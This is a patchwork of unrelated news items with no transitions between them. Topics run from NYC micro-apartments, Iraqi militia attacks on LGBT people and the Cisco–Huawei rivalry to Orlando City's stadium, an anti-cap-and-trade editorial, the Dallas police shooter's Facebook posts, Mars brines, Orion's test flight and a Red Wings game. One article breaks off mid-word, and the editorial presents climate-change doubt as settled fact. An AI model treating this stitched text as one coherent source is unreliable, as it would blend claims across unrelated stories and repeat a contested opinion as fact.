The Real Julia? | 7 Feb 2011 - Prime Minister Julia Gillard may be instantly recognisable but many Australian's say they don't really know her or what she stands for.
Wilkie's Gamble | 20 Jun 2011 - How a first time Independent Federal MP cut a deal that delivered Julia Gillard government in return for a promise to radically overhaul poker machine gaming policy.
The Deal | 4 Oct 2010 - The inside story of the historic deal that created Australia's first national minority government in seven decades.
Home & Garden More on Living Small The Times covers tiny homes. Must Haves for the Micro-Pad The $200 Microhouse The Next Little Thing? A Roomy 178 Square Feet Tiny Concrete Jungles The apartment of New York City’s future, as the city imagines it, has all the amenities of modern life: wheelchair-accessible bathroom, a full kitchen, space for entertaining and access to a gym, communal lounge, front and back porches and a rooftop garden — all in 250 to 370 square feet.
The city on Tuesday unveiled the winner of a competition to design and build an apartment tower on city-owned land composed entirely of micro-units, 55 homes the size of hotel rooms that Mayor Michael R. Bloomberg hopes will be the first in a wave of tiny apartments aimed at addressing the city’s shortage of studio and one-bedroom apartments.
Small as it might be, the winning design was chosen for the way that it maximized light, airiness and storage space through the use of 9-foot-high ceilings, large windows, lofts and Juliet balconies.
“We have a shortfall now of 800,000, and it’s only going to get worse,” Mr. Bloomberg said during the news conference announcing the winning team, a partnership between Monadnock Development, Brooklyn-based nARCHITECTS and a nonprofit that serves creative arts professionals, the Actors Fund Housing Development Corporation. “This is going to be a big problem for cities with young people.”
In another futuristic twist, the 10-story tower at 335 East 27th Street in the Kips Bay neighborhood will rise thanks to modular construction, becoming Manhattan’s first apartment building to do so: units will be prefabricated, then stacked on top of one another like Legos.
Forty percent of the units will be affordable, restricted to tenants earning no more than $77,190 a year, with the rest at market rate. Rents start at $914 a month for those earning up to $38,344 a year, well below Manhattan’s average studio rent of $2,000, and go up to $1,873 for those making $77,190 or less.
If the interior renderings are any indication, the micro-units are designed to appeal most to young professionals, perhaps to a young academic: a person who requires lots of bookshelves for scholarly tomes and hosts the occasional dinner party.
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“But there’s another side to the person — he or she likes to surf and so on,” said Eric Bunge, a principal at nARCHITECTS. Thus the bright-green surfboard, depicted in an interior rendering as stowed in a large loft storage space. (Another unexpected touch was a ghostly image of an old man’s bearded head, which Mr. Bunge said was meant to be a drawing on a chalkboard-painted wall.)
But he was quick to caution that the micro-units could be for anyone, from retirees to the nurses at nearby Bellevue Hospital Center. Apart from the kitchen and bathroom, the space is designed to be flexible, he said: “It’s all about appropriating your space, really.”
The announcement was made at the Museum of the City of New York, whose new exhibit, “Making Room: New Models for Housing New Yorkers,” displays the winning proposal alongside a different 325-square-foot micro-unit model that features an electric toilet that doubles as a bidet; Italian shower fixtures; a Murphy bed that pulls down over a hot-pink sofa, a flat-screen TV that slides to reveal extra shelving and a coffee table-cum-ottoman that deconstructs into four stools.
As for whether people would consider living in one, the answer on the streets of Kips Bay, perhaps predictably, seemed to depend on whether you asked a Manhattan dweller or a suburbanite.
Cataline Vincent, 26, who works at Bellevue, said she had struggled to find affordable rentals on her $40,000 salary. “In New York City, space is limited, and we’re willing to settle for what we can get,” she said. “In New York, people will live in a garbage can!”
Others were quicker to turn up their noses.
“I wouldn’t keep a dog in that size room,” said one woman, indignantly.
She declined to give her name, but she said she lived in New Jersey.
Expand Iraqi Shia cleric Moqtada al-Sadr is seen during a protest in Baghdad on July 15, 2016. The prominent cleric published a statement on July 7, 2016 banning violence against LGBT people and those who do not conform to gender norms. © 2016 Reuters
Since early 2009, Human Rights Watch has documented kidnappings, executions, and torture by militia groups, including al-Sadr’s Mahdi Army, of gay men and men perceived to be gay. The killings have continued unabated.
“Finally, the head of one of the groups whose members have carried out serious abuses against lesbian, gay, bisexual and transgender (LGBT) people in Iraq is condemning these heinous attacks,” said Joe Stork, deputy Middle East director. “We hope this will change behavior in successors to the Mahdi Army and other ranks, and spur the government to hold accountable those who commit these crimes.”
A Human Rights Watch report found that in early 2009, Iraqi militia members began a wide-reaching campaign of extrajudicial executions, kidnappings, and torture of men suspected of homosexual conduct, or of not conforming to masculine gender norms, and that Iraq authorities did nothing to stop the killings. The killings began in the Baghdad neighborhood of Sadr City, a Mahdi Army stronghold, and were then replicated by members of militia groups in many cities across Iraq. Mahdi Army spokesmen promoted fear about the “third sex” and the “feminization” of Iraqi men, as well as suggesting that militia action was the remedy.
Finally, the head of one of the groups whose members have carried out serious abuses against lesbian, gay, bisexual and transgender (LGBT) people in Iraq is condemning these heinous attacks.
In 2012, militia members opened a second wave of attacks on people categorized as part of the “emo” subculture, styles that critics associated with heavy metal music, and rap. In early February 2012, signs and fliers appeared in the Baghdad neighborhoods of Sadr City, Hayy al-Habibiyya, and Hayy al-‘Amil that threatened people by name with “the wrath of god” unless they cut their hair short, concealed their tattoos, maintained “complete manhood,” and stopped wearing so-called “satanic clothing.” Similar posters appeared in other neighborhoods, also listing names.
In the following weeks, Human Rights Watch received reports of several dozen youths killed as part of the campaign. While it was unclear who was behind the campaign, at the time al-Sadr called the targets of the campaign “crazy fools” and a “lesion on the Muslim community” in an online statement, but also maintained that they should be dealt with “within the law.”
In a 2015 report, the Iraqi group Iraqueer and the US-based organization OutRight Action International (formerly the International Gay and Lesbian Human Rights Commission) documented the kidnapping and murders of gay men by members of Iraqi militia groups, including the Brigades of Wrath (Saraya al-Ghadhab) and League of the Righteous (Asa’ib Ahl al-Haqq) between 2009 and 2015. The groups condemned the Iraqi government for “stand[ing] by and allow[ing] murderous hate violence to occur, fully aware of what is happening.”
The government responded by establishing an LGBT committee in late 2012 to address abuses against the LGBT community. However, LGBT activists in Baghdad have told Human Rights Watch that this committee has taken few tangible steps to protect LGBT people. In addition, a member of the committee said, two of the original nine members vanished in 2015 in what he believed was related to their role on the committee. The committee has had no news of them since. Other members have left the committee without explanation, he said, leaving only four remaining.
With the rise of the extremist group Islamic State, also known as ISIS, gay men, transgender women, and gender non-conforming people are at even greater risk. The group has executed a number of people accused of sodomy or perceived to be gay.
While Iraq’s Penal Code does not directly criminalize same-sex intimacy, article 394 criminalizes extra-marital sexual relations. That provision effectively criminalizes all same-sex relations, since the law does not provide for same-sex marriage.
Al-Sadr’s July 7 2016, statement expresses his view that same-sex relationships and cross-dressing are not acceptable, but that gender non-conforming people – whom al-Sadr claims are suffering from “psychological problems” – nevertheless deserve the right to live. “[You] must disassociate from them [but] not attack them, as it increases their aversion and you must guide them using acceptable and rational means,” the statement read.
Despite the lack of full tolerance in al-Sadr’s statement, his call to end violence against LGBT people is an important step, Human Rights Watch said. He should ensure that those in the ranks of the militia under his command, the Peace Brigades (Saraya al-Salam), obey the order and should hold accountable commanders who do not.
Iraq’s government should take its own measures to ensure that attacks on LGBT people are punished, and the LGBT committee should actively monitor and report on human rights abuses against LGBT people and advise the government on concrete steps to protect LGBT people from violence and discrimination. Iraq’s legislature should quickly decriminalize extra-marital sexual relations.
A man walks past a Huawei company logo outside the entrance of a Huawei office in Wuhan, Hubei province, October 9, 2012. REUTERS/Stringer
The past year suggests they’ve ground to an expensive stalemate, raising questions about their futures on each other’s lucrative home turf.
Earlier this month Cisco CEO John Chambers admitted in an earnings call that political dynamics were stymieing his company’s long march into Huawei’s backyard.
Asked whether the recent U.S. spying scandal was affecting overseas business, Chambers said it was having an impact, particularly in China, which is Cisco’s biggest emerging market country but represents less than 5 percent of its total revenue.
Huawei has also admitted something of a defeat in the United State for carrier equipment, which accounts for more than 70 percent of its global revenues.
“We are not interested in the U.S. market anymore,” Eric Xu, one of Huawei’s rotating CEOs, said in April. “Generally speaking, it’s not a market that we pay much attention to.”
The rivalry reflects how intertwined the communications industry has become with growing concerns about security - and the challenges two communications giants face in building a genuinely global presence in an interconnected world where no major market can be ignored.
RAW WOUNDS
It wasn’t always like this. Cisco, dominant in building the hardware that links computers and networks since the early 1990s, took little notice of Huawei until it suspected that the Chinese upstart was reverse-engineering its products.
It sued the company in 2003 for patent infringement, only settling after Huawei agreed to make changes to its equipment.
The wounds are still raw: last year the two sides again aired their grievances against the other, each claiming victory in the original suit.
California-based Cisco, former executives said, refused to take Huawei seriously despite warnings that they were making headway in emerging markets with cheaper equipment.
“For years San Jose pooh-poohed Huawei until it started hurting in post-2008,” said one former executive.
When Cisco did respond, it was by partnering with ZTE Corp, Huawei’s local rival, but that relationship went sour and was formally disbanded in 2012.
In the meantime Shenzhen-based Huawei made headway not only into the low-end routers and switches business, but was also eating into Cisco’s home terrain of higher end equipment.
“When a competitor’s gear gets good enough, not as good or as secure, then a lot of customers were prepared to go with that,” said another former Cisco executive.
CHINA CARD
For Chambers, the holy grail had long been China. He said in an interview with Reuters last year that he had been visiting the country for 25 years.
To a group of Asian journalists visiting Cisco’s headquarters in June 2005 he said: “If I wasn’t American, I would be Chinese,” according to a Xinhua news agency report.
In late 2007 he flew to Beijing to pledge $16 billion worth of investments in China over the next 5 years during which time, Chambers said, Cisco’s manufacturing in China would double.
By 2009 it had invested in more than 50 Chinese companies. A Cisco s
But there has been little to show for it. Cisco’s share of the carrier business - selling switches and routers to service providers - has remained steady in Europe at around 40 percent and has risen in the Middle East, Africa and Latin America in recent years, but has fallen in Asia, according to data from Ovum, a research consultancy.
In China it fell from 19 percent in the second quarter of 2010 to 12 percent in the same quarter this year.
One former executive who used to travel overseas with Chambers said he would argue in vain with the CEO about the dangers of overinvesting in China, saying his expectations were too ambitious.
“John thought he could get more out of it than even a sober assessment at the time suggested couldn’t be done,” he said.
For sure, many Western companies have found China harder going than they’d anticipated, but Cisco’s poor performance in China stands in contrast to Huawei’s growing market share.
In equipment for service providers, for example, Huawei’s revenues grew by 84 percent between the second quarter of 2010 and this year, against Cisco’s 2.5 percent, according to Ovum data. While Cisco’s market share shrank, Huawei’s grew from 56 percent to 64 percent.
SUSPICIOUS MINDS
And things aren’t likely to get better any time soon. In the wake of Edward Snowden’s revelations about the extent of U.S. National Security Agency electronic spying programs aimed at China, among other countries, some Chinese media have questioned Cisco’s credibility.
“Although the company has issued statements saying that it is not involved in monitoring citizens or government communications in China or anywhere else, recent events mean that it may be quite a long time before we can trust Cisco again,” wrote the Beijing-based Global Times on June 20.
One Beijing-based source in the technology industry who declined to be identified because of the subject’s sensitivity said China’s desire to eliminate any dependence on foreign technology wasn’t new, but that the NSA revelations had fostered a new sense of urgency.
“I’m not sure the government has fundamentally changed course, but they now have the wind at their backs,” he said.
MIRROR IMAGE
Cisco’s woes in China are in some ways a mirror image of what Huawei has been enduring in the United States - albeit more openly.
Last year the U.S. House Intelligence Committee released a report urging U.S. telecommunications companies not to do business with Huawei and ZTE because it said potential Chinese state influence on the companies posed a security threat.
Both Chinese companies have denied that they have links to the Chinese government.
Huawei has spent heavily on lobbying lawmakers and other U.S. officials: $1.2 million in 2012, more than double what it spent in each of the previous four years, according to Senate lobbying records.
Snowden’s revelations, however, have offered the company a chance to turn the spotlight back on its rival.
While Huawei has for the most part avoided linking Cisco to the NSA allegations, its security chief John Suffolk asked rhetorically on his blog whether “all other Governments ban American technology companies, especially Cisco and Juniper given their position in critical infrastructures?”
When Cisco’s spokesperson John Earnhardt posted a denial of any involvement in government monitoring to the blog, Suffolk replied that Cisco should not be surprised if customers and governments “now pose questions about American tech vendors who hold a position where they have the means of contributing to NSA’s strategic arsenal of tools and techniques to exfiltrate data on their targets”.
Cisco declined to comment directly on Suffolk’s remarks. Huawei confirmed the blog was written by Suffolk.
NO BACKDOORS
Since then both sides have said little about the other. Suffolk declined to be interviewed about his comments, and a Huawei white paper on cyber security published in October made no direct reference to Snowden or the NSA.
Indeed, some argue it’s in neither company’s interest to prolong discussions that link their industry to their respective government’s eavesdropping efforts.
Both sides have distanced themselves from any calls to have the other’s equipment banned on security grounds.
Huawei spokesperson Scott Sykes said in response to emailed questions that “Huawei advocates transnational, fair and open competition.” Cisco denies lobbying Congress against Huawei on security issues, and has not “provided any government agency access to our networks”.
And neither is there any concrete evidence that either company has added backdoors in their equipment to allow governments access.
This, said Jim Lewis, a senior fellow at the Center for Strategic and International Studies, a Washington-based think tank, was deliberate in the case of U.S. companies.
As an official at the Department of Commerce, Lewis helped the Clinton administration adopt a policy of not requesting companies to install backdoors.
In any case, Lewis said, the United States and at least three other countries had the expertise to eavesdrop with or without a backdoor. “If they want to get into your traffic, they are going to get in into your traffic.”
Felix Lindner, CEO of Berlin-based Recurity Labs, a respected expert on both Cisco and Huawei security, says both companies’ equipment contained software that was so poorly written it left them vulnerable to hacking.
“In terms of product security they are very much on a par with each other.”
Both companies say they take security seriously. Huawei’s Sykes said that “our experts immediately start investigations into potential problems and should there be any security risk we will provide a solution as soon as possible”.
Cisco has pointed to security as a commercial advantage in its sale pitches.
An internal Cisco sales document obtained by Reuters dated June 2013 highlighted security flaws in Huawei’s low-end routers uncovered by Lindner. The document said: “Huawei also has demonstrated lack of process to communicate and manage such security vulnerabilities.”
Whatever the truth, concerns over security and their perceived government links have hobbled both companies in the other’s homeland.
For now, Huawei has focused in the U.S. on its handset and enterprise business. And Cisco spokesperson Earnhardt said that despite the poor results “we remain firm in our commitment to China.”
As the Lions’ staff, players and fans reveled in a 1-0 win over rival New York City FC, Major League Soccer Commissioner Don Garber said he would honor a promise and bring the league’s marquee event to the venue soon.
Orlando City Stadium will be hosting the MLS All-Star Game whenever club officials decide they’re ready to put on a good show. Chicago is slated to host the next all-star game and the league’s contract with Orlando suggests Central Florida won’t be far behind.
“I don’t have a date, but we’ve made a commitment,” Garber said. “Every time we open a stadium and we meet with the public about getting their support — and there's lots of public support for this even if it's not financial support. There was all sorts of regulatory support and deep, deep commitment from the city mayor, the county mayor and the City Council as much as any other city.
“As part of those discussions, we've committed to bringing an all-star game here.”
PICTURE GALLERY: Check out pictures of fans attending Orlando City's first match in their new stadium.
The all-star promise is listed in the league’s contract with Orlando City the two parties signed as the Lions moved to open their new stadium.
Orlando City CEO Alex Leitão said the club is moving as swiftly as it can to get adapted to the new stadium and put itself in a position to host the all-star game as soon as possible.
“It’s a conversation we’re having with the league,” he said. “Definitely we’re going to have the all-star very soon here.”
Leitão said it wasn’t a flawless season opener, but he was pleased the problems were not massively disruptive.
He said staff members created a list and would work to address issues that popped up anywhere in and around the stadium Sunday.
“Not perfect if you think about the operations,” he said when asked how he would grade the Lions’ debut match in their new stadium. “As I always told [people,] we have to learn from the building. I can tell the fans, next time it’ll be much, much better.”
Orlando City held off a late New York City FC push, earning a 1-0 win in the debut match at the Lions’ new stadium. Orlando City held off a late New York City FC push, earning a 1-0 win in the debut match at the Lions’ new stadium. SEE MORE VIDEOS
He said he hoped the rowdy atmosphere that was far louder than Camping World Stadium, the Lions’ effort on the pitch and the win would help cheer up those who encountered any problems.
“It’s hard when you open; you have to learn how to operate the stadium,” he said. “But for this night, it’s been unbelievably awesome. I’m very, very happy. The team left everything out there.”
Garber said he was excited when he walked into the new venue and was thrilled to see supporter groups chanting long before kickoff.
He noted Orlando has many unique elements in its stadium — fans are closer to the pitch than any other venue, the MLS got permission from CONCACAF to create a supporter section without seats and there are 49 rainbow-colored seats dedicated to the Pulse nightclub shooting victims.
“The bar has been raised,” Garber said when asked how Orlando City Stadium ranks in comparison to other MLS venues.
When supporters stomped their feet late in the match as Orlando City worked to protect the 1-0 lead it amassed at the 15th minute, the stadium began to vibrate.
Leitão said it’s exactly what he hoped would happen to give the players a jolt of energy and he wasn’t worried about the stadium’s stability under the stress.
In reality, the money is likely to be diverted to more mundane political uses – like backfilling the huge budget hole perpetuated by Mr. Brown and the Democratic-controlled Legislature.
If Mr. Brown were more honest, he would acknowledge that his intention isn’t to curb global warming, which we and many scientists maintain is a highly disputable threat. If he were straightforward, Mr. Brown would explain to Californians that his cap-and-trade penalties on large industrial emitters of greenhouse gases are nothing but a disguised tax to raise billions to finance already overblown government operations.
The governor’s new website, a propaganda tool at taxpayer expense to refute critics of global warming alarmism, is called “Climate Change, Just the Facts.” You can find it here: http://climatechange.ca.gov
POLITICAL CARTOONS:
45 cartoons on the GOP Convention, Neil Armstrong, Hurricane Isaac and more
You can find contrary views at the Climate Depot http://climatedepot.com/ and Watts Up With That http://wattsupwiththat.com/. Both sites link to countless others that take views contrary to Gov. Brown’s.
What you won’t find on Mr. Brown’s government website is an even-handed treatment. The governor invokes the demagogic claim that, “we need to end the climate change debate and focus on how to solve the problem.”
Pesky debates and their incessant habit of raising questions and offering contrary facts are anathema to Mr. Brown’s agenda, which is to push ahead with Draconian government regulations and revenue-raising schemes such as cap-and-trade authorized by Assembly Bill 32, the 2006 law known as the Global Warming Solutions Act.
California will begin auctions in November, which will set in motion a government-created, faux marketplace where emitters of greenhouse gases can buy permits to emit. The scheme is projected by Gov. Brown to raise as much as $1 billion in its first year. It also will result in dramatically higher energy costs to industry and consumers, have a dampening effect on the economy and probably induce more companies and residents to relocate out of state.
But in the short-term, Mr. Brown will add to government coffers, which could be described as the theme of his administration. The governor also wants voters to raise income taxes on high earners and OK a quarter-cent increase in the sale tax.
The gruesome image shows a man dressed in black slashing a uniformed officer's throat with a knife as blood spills out of the cop's neck.
It was posted on the 'Black Panther Party Mississippi' page, which Johnson posted a twisted rant on just days before he embarked on his massacre.
The cartoon carries the words 'as a R.B.G. killer panther I pledge to defend my black community by any means necessary'.
Facebook has refused to remove a sickening cartoon of a police officer having his throat slit from a Black Panther page used by Dallas cop killer Micah Xavier Johnson
The image has been reported to Facebook but the social media website refused to take it down, saying it does not violate the company's 'community standards'
'R.B.G' stands for red, black and green and refers to the Pan-African flag, which is often seen being flown at civil rights protests.
The picture was posted on Facebook by a user called Prince Mamuhammad, whose profile includes posts talking of 'war with the white male'.
The image has been reported to Facebook but the social media website refused to take it down, saying it does not violate the company's 'community standards'.
Facebook ruled that the picture does not 'promote graphic violence'.
Its reply to the report said: 'Reports like yours are an important rile in making Facebook a safe and welcoming environment.
'We reviewed the post you reported for promoting graphic violence and found it doesn't violate our community standards.'
Daily Mail Online has contacted Facebook for further comment.
Johnson, who was a user of a host of Facebook pages dedicated to black militancy, posted a rant on the same Black Panther Party Mississippi page five days before he shot 12 police officers in Dallas, killing five.
Facebook has refused to remove a sickening cartoon of a police officer having his throat slit from a Black Panther page used by Dallas cop killer Micah Xavier Johnson (left and right)
Army officials say Johnson was in the reserves from March 2009 to April 2015 and that he served a tour of duty in Afghanistan
'Why do so many whites (not all) enjoy killing and participating in the death of innocent beings,' he wrote above a video of what appeared to be people participating in a whale-killing.
In the disjointed July 2 post, Johnson expressed anger over lynchings of black people and 'our ancestors' being beaten, mutilated and killed.
'Then they all stand around and smile while their picture is taken with a hung, burned and brutalized black person,'Johnson, 25, wrote.
'They even go to our homeland and shoot our endangered wildlife for sport.'
Army reservist Johnson said during a four-hour siege in a parking garage in downtown Dallas that he wanted to kill white people, specifically white police officers, law enforcement officials said.
'The suspect said he was upset about Black Lives Matter. He said he was upset about the recent police shootings of black suspects. He said he was upset at white people. The suspect stated he wanted to kill white people, especially white officers,' Dallas Police Chief David Brown said.
Johnson identified himself on Facebook as a black nationalist, and his profile picture shows him wearing a dashiki and holding a clenched first in the air like a Black Panther.
He 'liked' several pages related to the Nation of Islam, the Black Riders Liberation Party, the New Black Panther Party and the African American Defense League.
A man who served in the same platoon as Johnson in Afghanistan told Fox News he 'went all Black Panther' after he returned from the war zone.
TIMELINE OF DALLAS SHOOTING 7pm: Crowd of protesters gather at Belo Garden off Main Street in downtown Dallas. 8:59pm: Just before 9pm, the first shots are heard and protesters flee the scene. 9:05pm: Video captures gunshots ringing out and officers yelling 'active shooter' around the area of San Jacinto and Griffin streets. 9:35pm: First officer is reported down. 9:40pm: Two officers down. 10:23pm: DART police reports four of their officers were shot, including one who died, Brent Thompson. 10:29pm: Chief David Brown reports 10 officers were shot by snipers and that three of those officers died. 10:53pm: Authorities raise number of officers shot to 11. This is revised to 12 on Friday morning. 11:10pm: Shots fired at El Centro College parking garage in stand-off between police and a suspect. 11:13pm: Dallas police announce that a fourth officer has died. 11:27pm: Police say a female suspect has been taken into custody. 1:35am: Police flash-bang device goes off at the scene of the stand-off at El Centro College. 1:47am: Fifth officer reported down. 3:06am: Suspect in stand-off is confirmed dead.
Johnson wasn't the only person in his family to have developed a distrust for law enforcement. In the days leading up to the shooting, his sister Nicole wrote several posts about her frustration at the tense relationship between police and the African-American community.
She said police officers needed 'to get a taste of the life we now fear'.
Writing on Facebook, she said: 'Tired of y’all tryin to be on these cops side making it okay based off irrelevant info when our own get killed over unjust s***.'
'Man on life itself I'm beginning to trust law less n less. Come a yr from now everybody will need a gun for protection. Why is it the black get the harsh treatment like damn. Makes me so mad. When he decide we had enough n fight back smhh...' she wrote on July 6, responding to the death of Alton Sterling.
After the shooting however, she expressed utter shock at her brother's actions.
'I keep saying it’s not true,' she wrote on Facebook on Friday. 'My eyes hurt from crying. Y him??? And why was he downtown.'
'The news will say what they think but those that knew him know this wasn't like him,' Johnson added in another post. 'This is the biggest loss we've had.'
Dallas police officers Patrick Zamarripa, Michael Krol, Lorne Ahrens and Michael J. Smith, as well as DART Officer Brent Thompson, were killed by Johnson on Thursday evening.
Johnson reportedly fired from an 'elevated position', picking off officers 'ambush style,' Chief Brown said, suggesting that the shooter had some tactical background. 'Some officers were shot in the back,' he added.
Cops cornered Johnson at El Centro College at around 11pm on Thursday and attempted to negotiate, but four hours later the talks failed and a robot was brought in to detonate a bomb and kill the suspect. This was after shots had rung out at a previously peaceful protest in downtown Dallas with demonstrators screaming and running for their lives as cops dropped dead one by one.
Theory of Mars water enticing
But scientist at A&M notes lack of 'smoking gun'
Last week, scientists announced they had found the best evidence yet that water may exist during the spring and summer on the surface of Mars. Researchers using the HiRISE instrument in orbit around Mars observed dark, fingerlike features that descend down some Martian slopes during the warmest months of the year. The most plausible explanation for this is flowing, briny water. Mark Lemmon, a planetary scientist at Texas A&M University who participates in day-to-day operations of rovers on Mars, talked to Chronicle science reporter Eric Berger about what the find might mean.
Q. The paper posits that water exists on Mars today. How convincing is the evidence?
A. The paper (in the journal Science) is suggestive of liquid water, but the team has not found the smoking gun. A spectral signature of water or of the salts that are speculated would be a key step.
Q.Prior to this publication, what was the thinking in the planetary science community on the possibility of present-day water on Mars existing?
A. There is debate over present-day liquid water, with brines as the suggested way to have a liquid and gullies as one possible expression of the water. But the evidence is, so far, weak. This paper does provide a fresh motivation and a new place to look. Water, of course, is present as vapor and ice around Mars in the atmosphere, surface and sub-surface.
Q.Will this paper move the debate?
A. Some.
Q.Have the Spirit and Opportunity rovers found any significant evidence of present-day water on Mars?
A. No, not present-day liquid water. They have seen ice clouds; Phoenix (a Mars lander) saw ice and measured water vapor in the atmosphere. Some have suggested evidence for liquid water brines, but the evidence was quite weak and not widely accepted.
Q.How far are Spirit and Opportunity from the closest of the water-candidate locations described in the paper?
A. Quite far. The equatorial region of Mars, where Spirit and Opportunity are and (the rover) Curiosity is targeted, has few of these features. Most are much farther south. Flipping hemispheres, it is like having rovers in Guatemala and The Congo, and having these features in El Paso and Paris.
Q.Would the existence of surface water suggest there might be springs or underwater sources of water on Mars?
A. This might suggest some sort of ground water flow, although the authors acknowledge some problems with that. The water may simply come out of the atmosphere with the aid of surface salts. But there is no smoking gun for where the water might come from.
Q.Which of the probes scheduled to travel to Mars might be able to investigate these candidate locations more closely?
A. There may be options with future missions, but Curiosity will not have access to these.
Q.Would briny water be of any use to humans traveling to Mars?
A. Yes, as would ice.
Q.Mercury, the moon and now maybe Mars. Is there anywhere in the solar system where there isn't water (besides Texas this summer, of course)?
A. I was going to say, my backyard. It is though, important to note that water on Mars, now, has been definitely established for quite some time. And liquid water in Mars' past is now well-established. The debate is over liquid water flowing on Mars in today's climate — and there's none of that on the moon or Mercury.
by Staff Writers
Washington DC (SPX) Jun 19, 2014
This computer-generated art depicts Orion's heat shield protecting the crew module as it enters the Earth's atmosphere. Image courtesy NASA. For a larger version of this image please go here
All the superlatives associated with Orion's first mission this year - farthest a spacecraft for humans has gone in 40 years, largest heat shield, safest vehicle ever built - can be dazzling, no doubt. But the reason engineers are chomping at the bit for Orion's first mission is the promise of crucial flight test data that can be applied to the design for future missions.
Orion only has two flight test opportunities before astronauts climb aboard for the first crewed mission in 2021 - so gleaning the maximum information possible from Exploration Flight Test (EFT)-1 in December (and later, Exploration Mission-1 in 2017) is of the highest priority. Here are the top five things the engineers will be paying attention to:
1. Launch Abort System Separation - The launch abort system (LAS) is a key reason that Orion is intended to become the safest spacecraft ever built. In an emergency it could activate to pull the crew module and the astronauts it will carry away from the launch pad and the rocket in milliseconds. Hopefully it's never needed, and since no crew will fly on EFT-1 the rescue system won't be active.
But even when a launch goes perfectly, the 904-pound LAS jettison motor has to perform flawlessly. If it doesn't get rid of the LAS 6 minutes and 20 seconds into the mission, there will be no landing - the LAS protects the crew module during ascent, but to do so, it blocks the parachutes that allow Orion to safely splashdown.
The Launch Abort System separation is just the first of 17 separations or jettisons that have to happen exactly as planned for the mission to be successful.
2. Parachute Deployment - For EFT-1, Orion will travel 3,600 miles above the Earth so that when it performs its deorbit burn, it will come screaming back into the Earth's atmosphere at almost 20,000 miles per hour. Before it splashes down in the Pacific Ocean, it needs to slow down to 1/1000th of its entry speed - a relatively gentle 20 miles per hour.
Earth's atmosphere does its part to put on the brakes, but to make landing survivable, Orion relies on its parachute system - primarily two drogue parachutes and three massive mains that together would cover almost an entire football field. They've been tested on Earth; test versions of Orion have been dropped from airplanes with a multitude of failure scenarios programmed into the parachute deployment sequence in an effort to make sure that every possibly problem is accounted for.
But the sheer number of possible problems to be tested indicates how complicated the system is - each parachute must deploy at the exact right time, open to the exact right percentages in the exact right stages, and be cut away exactly as planned. And no test on Earth can exactly simulate what the spacecraft will really experience on its return from space.
3. Heat Shield Protection - Before the parachutes even get a chance to deploy, Orion has to make it safely through Earth's atmosphere. The reason that Orion is traveling so far and coming back in so fast is to give the heat shield a good workout - the idea is to get as close as possible to the temperatures Orion would experience during a return from Mars. At the speed it will be traveling, the temperature should reach almost 4,000 degrees Fahrenheit. At that same temperature, a nuclear reactor would melt down.
Standing between the crew module and all that heat is no more than 1.6 inches of Avcoat, a material that's designed to burn away rather than transfer the temperatures back to Orion. Some 20 percent of the Avcoat will erode during the spacecraft's journey back to Earth, and although it's not the first time the materials has been used for this purpose, at 16.5 feet wide, Orion's heat shield is the largest ever built.
Technicians filled with Avcoat each of the 320,000 honeycomb cells that make up the shield's structure by hand, then machined them to the precise fractions of inches called for by the design. Getting it exactly right is all that will get Orion through one of the most dynamic periods of its mission.
4. Radiation Levels - Traveling 15 times farther into space than the International Space Station will take Orion beyond the radiation protection offered by Earth's atmosphere and magnetic field. In fact, the majority of EFT-1 will take place inside the Van Allen Belts, clouds of heavy radiation that surround Earth. No spacecraft built for humans has passed through the Van Allen Belts since the Apollo missions, and even those only passed through the belts - they didn't linger.
Future crews don't plan to spend more time than necessary inside the Van Allen Belts, either, but long missions to deep space will expose them to more radiation than astronauts have ever dealt with before. EFT-1's extended stay in the Van Allen Belts offers a unique opportunity to see how Orion's shielding will hold up to it. Sensors will record the peak radiation seen during the flight, as well as radiation levels throughout the flight, which can be mapped back to geographic hot spots.
5. Computer Function - Orion's computer is the first of its kind to be flown in space. It can process 480 million instructions per second. That's 25 times faster than the International Space Station's computers, 400 times faster than the space shuttle's computers and 4,000 times faster than Apollo's.
By: Will Burchfield
If the Red Wings’ sendoff at The Joe was a shaker, their opener at Little Caesars Arena was a social.
A high bar? Sure, but not an unfair comparison. There was plenty of buildup for Thursday night’s game, just about as much as there was for that one back in April. And the place was packed at puck drop. Add in the fact that the Red Wings played well, skating off with a 4-2 victory over the Wild, and all the ingredients were there for a rollicking first act.
Unfortunately, the arena fell flat.
It was a busy place, but it wasn’t especially alive. Fewer people have made much more noise. The hockey game was one attraction of many, like a rodeo at a county fair: The action is great, but so is the food.
It’s rare that an arena’s pulse hits its climax before the first play. Such was the case on Thursday night. A rousing pregame montage on the video board revved up the fans, and they cheered the Wings with ardor during player introductions. Henrik Zetterberg came out last to a reception worth the wait.
The fans roared when Nicklas Lidstrom and Mickey Redmond were brought onto the ice for the ceremonial puck drop. Then Zetterberg met Wild center Mikko Koivu at center ice to complete the occasion, Chris Ilitch standing between them, and chants of ‘Let’s Go Red Wings’ filled the air.
Longtime anthem singer Karen Newman made her usual entrance, through the Zamboni tunnel opposite the Red Wings’ bench, and hit her usual notes. A few flying octopuses even punctuated her performance. For a moment, anyway, it felt like nothing had been lost in the move from The Joe.
Then the game began, and reality set in with a hush. A playoff atmosphere quickly gave way to that of a mid-week contest in November. It was quiet, not in that restless manner that spells hunger for action, but detached, distracted.
Then, slowly but surely, the fans started leaving their seats. They’d seen the rodeo. They could smell the food.
Little Caesars Arena is spectacular for a number of reasons. The building glows beneath its grid of LED lights. The sightlines offer the best views in hockey. The video board is enthralling in its size and the player facilities are first-class. But the arena is most impressive, most distinguished, for all that it offers besides a game.
The concourse is littered with places to eat and drink, from sit-down restaurants to casual bars. It’s a popular city block constructed inside. All these attractions pull fans away from the game, and they can socialize without missing a second of the action thanks to the stunning 600-foot jewel skin that projects the game on the wall of the concourse. This was sold as a benefit.
It threatens to be a drawback.
Once the fans left their seats, a good number of them never came back. They had found a better place to watch. This led to a half-empty arena midway through the second period where the chatter was louder than the cheering. Even Red Wings coach Jeff Blashill took note of the change in atmosphere as the game pressed on.
“You had the ‘Let’s Go Red Wings’ chant early, and it was loud for sure. I think the beginning of the second period lots of people were checking out the concourse so we have to work on that,” Blashill said with a smile. “We have to make sure they’re in there at the start.”
Regarding empty seats at LCA, this was taken halfway thru 2nd period of a tie game. Concourse attractions > hockey, at least tonight. pic.twitter.com/A4T802gv59 — Will Burchfield (@burchie_kid) October 6, 2017
In time, the novelty of the concourse attractions will likely wear off. There won’t be such a rush to check out the scene. It should also be noted that LCA had already hosted a string of Kid Rock concerts and several preseason hockey and basketball games prior to the Red Wings’ opener. Thursday was probably subdued by some first-night fatigue.
